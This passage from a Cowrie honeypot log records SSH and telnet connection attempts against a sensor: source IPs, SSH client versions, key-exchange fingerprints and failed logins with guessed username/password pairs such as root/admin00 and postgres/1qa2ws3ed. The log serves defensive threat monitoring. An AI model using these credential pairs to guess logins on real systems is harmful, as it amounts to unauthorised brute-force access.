{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":44062,"dst_ip":"159.203.135.109","dst_port":22,"session":"c0e2820784e6","protocol":"ssh","message":"New connection: 159.203.92.129:44062 (159.203.135.109:22) [session: c0e2820784e6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:15:16.133824Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:15:16.138747Z","src_ip":"159.203.92.129","session":"c0e2820784e6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:15:16.143462Z","src_ip":"159.203.92.129","session":"c0e2820784e6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"aox","password":"123456","message":"login attempt [aox/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:15:16.164126Z","src_ip":"159.203.92.129","session":"c0e2820784e6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:15:17.187009Z","src_ip":"159.203.92.129","session":"c0e2820784e6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.228.69.212","src_port":55160,"dst_ip":"159.203.135.109","dst_port":22,"session":"8f715983a466","protocol":"ssh","message":"New connection: 103.228.69.212:55160 (159.203.135.109:22) [session: 8f715983a466]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:15:23.421743Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:15:23.426940Z","src_ip":"103.228.69.212","session":"8f715983a466","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:15:23.656056Z","src_ip":"103.228.69.212","session":"8f715983a466","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00168323516846,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:15:24.054872Z","src_ip":"154.110.11.213","session":"af15b5f0a3fa","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"admin00","message":"login attempt [root/admin00] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:15:24.587863Z","src_ip":"103.228.69.212","session":"8f715983a466","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:15:25.817196Z","src_ip":"103.228.69.212","session":"8f715983a466","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"154.110.11.213","src_port":57282,"dst_ip":"10.17.0.5","dst_port":23,"session":"052761c50be1","protocol":"telnet","message":"New connection: 154.110.11.213:57282 (10.17.0.5:23) [session: 052761c50be1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:15:32.173565Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":53386,"dst_ip":"159.203.135.109","dst_port":22,"session":"08da09f21b50","protocol":"ssh","message":"New connection: 159.203.92.129:53386 (159.203.135.109:22) [session: 08da09f21b50]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:15:58.978832Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:15:58.984604Z","src_ip":"159.203.92.129","session":"08da09f21b50","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:15:58.989384Z","src_ip":"159.203.92.129","session":"08da09f21b50","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"aox","password":"aox","message":"login attempt [aox/aox] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:15:58.999559Z","src_ip":"159.203.92.129","session":"08da09f21b50","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:16:00.010453Z","src_ip":"159.203.92.129","session":"08da09f21b50","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.238","src_port":54190,"dst_ip":"10.17.0.5","dst_port":22,"session":"0e9876180012","protocol":"ssh","message":"New connection: 2.57.122.238:54190 (10.17.0.5:22) [session: 0e9876180012]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:16:11.383041Z"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:16:11.484319Z","src_ip":"2.57.122.238","session":"0e9876180012","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.228.69.212","src_port":43786,"dst_ip":"159.203.135.109","dst_port":22,"session":"6ac796b49329","protocol":"ssh","message":"New connection: 103.228.69.212:43786 (159.203.135.109:22) [session: 6ac796b49329]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:16:20.445457Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:16:20.453083Z","src_ip":"103.228.69.212","session":"6ac796b49329","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:16:20.683823Z","src_ip":"103.228.69.212","session":"6ac796b49329","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ftpuser01","password":"ftpuser01","message":"login attempt [ftpuser01/ftpuser01] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:16:21.639514Z","src_ip":"103.228.69.212","session":"6ac796b49329","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.221.248","src_port":44704,"dst_ip":"159.203.135.109","dst_port":22,"session":"3235c4883ff6","protocol":"ssh","message":"New connection: 69.6.221.248:44704 (159.203.135.109:22) [session: 3235c4883ff6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:16:22.587564Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:16:22.592639Z","src_ip":"69.6.221.248","session":"3235c4883ff6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:16:22.705826Z","src_ip":"69.6.221.248","session":"3235c4883ff6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:16:22.872416Z","src_ip":"103.228.69.212","session":"6ac796b49329","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"jenkins","password":"git","message":"login attempt [jenkins/git] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:16:23.191658Z","src_ip":"69.6.221.248","session":"3235c4883ff6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:16:24.305944Z","src_ip":"69.6.221.248","session":"3235c4883ff6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":58310,"dst_ip":"159.203.135.109","dst_port":22,"session":"73f5ffa00230","protocol":"ssh","message":"New connection: 159.203.92.129:58310 (159.203.135.109:22) [session: 73f5ffa00230]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:16:41.161803Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:16:41.166332Z","src_ip":"159.203.92.129","session":"73f5ffa00230","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:16:41.170906Z","src_ip":"159.203.92.129","session":"73f5ffa00230","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ap-hadoop","password":"123","message":"login attempt [ap-hadoop/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:16:41.182704Z","src_ip":"159.203.92.129","session":"73f5ffa00230","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:16:42.189698Z","src_ip":"159.203.92.129","session":"73f5ffa00230","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.228.69.212","src_port":60638,"dst_ip":"159.203.135.109","dst_port":22,"session":"f75ca7706f55","protocol":"ssh","message":"New connection: 103.228.69.212:60638 (159.203.135.109:22) [session: f75ca7706f55]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:17:17.246542Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:17:17.252488Z","src_ip":"103.228.69.212","session":"f75ca7706f55","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:17:17.479026Z","src_ip":"103.228.69.212","session":"f75ca7706f55","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"postgres","password":"1qa2ws3ed","message":"login attempt [postgres/1qa2ws3ed] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:17:18.419911Z","src_ip":"103.228.69.212","session":"f75ca7706f55","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:17:19.648774Z","src_ip":"103.228.69.212","session":"f75ca7706f55","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":56082,"dst_ip":"159.203.135.109","dst_port":22,"session":"49b9fca886e1","protocol":"ssh","message":"New connection: 159.203.92.129:56082 (159.203.135.109:22) [session: 49b9fca886e1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:17:24.487071Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:17:24.492041Z","src_ip":"159.203.92.129","session":"49b9fca886e1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp